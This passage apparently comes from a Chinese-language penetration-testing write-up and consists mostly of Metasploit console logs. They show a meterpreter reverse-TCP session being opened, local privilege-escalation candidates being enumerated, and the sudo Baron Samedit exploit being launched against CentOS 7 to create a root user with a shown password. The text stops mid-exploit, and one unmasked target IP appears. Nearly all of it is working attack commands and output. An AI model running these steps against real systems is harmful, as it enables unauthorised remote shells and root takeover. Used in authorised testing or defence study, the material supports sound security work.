msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost x.x.x.x lhost => x.x.x.x msf6 exploit(multi/handler) > set lport xxxx lport => xxxx msf6 exploit(multi/handler) > exploit
[-] Handler failed to bind to x.x.x.x:xxxx:- - [*] Started reverse TCP handler on 0.0.0.0:xxxx [*] Sending stage (3045348 bytes) to x.x.x.x [*] Meterpreter session 1 opened (x.x.x.x:xxxx -> x.x.x.x:xxxx) at 2023-02-15 00:34:00 +0800
接下来使用Suggester模块来搜索可提权的潜在方法
1 2 3 4 5 6 7 8 9 10 11
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester msf6 exploit(multi/handler) > use 0 msf6 post(multi/recon/local_exploit_suggester) > set session 1 session => 1 msf6 post(multi/recon/local_exploit_suggester) > run
经过尝试,发现了下面4个有可能的利用点。
1 2 3 4 5 6 7 8 9
[*] 206.238.123.163 - Valid modules for session 1: ============================
# Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated. 2 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 3 exploit/linux/local/su_login Yes The target appears to be vulnerable. 4 exploit/linux/local/sudo_baron_samedit Yes The target appears to be vulnerable. sudo 1.8.23 is a vulnerable build.
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/sudo_baro msf6 exploit(linux/local/sudo_baron_samedit) > set session 1 session => 1 msf6 exploit(linux/local/sudo_baron_samedit) > set lport xxxx lport => xxxx msf6 exploit(linux/local/sudo_baron_samedit) > exploit [*] Started reverse TCP handler on x.x.x.x:xxxx [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. sudo 1.8.23 is a vulnerable build. [*] Using automatically selected target: CentOS 7 x64 (sudo v1.8.23, libc v2.17) [*] Writing '/tmp/GpZwKB.py' (6207 bytes) ... [*] A successful exploit will create a new root user msf with password bhkzjcvtbcurriq [*] Brute forcing ASLR (can take several minutes)...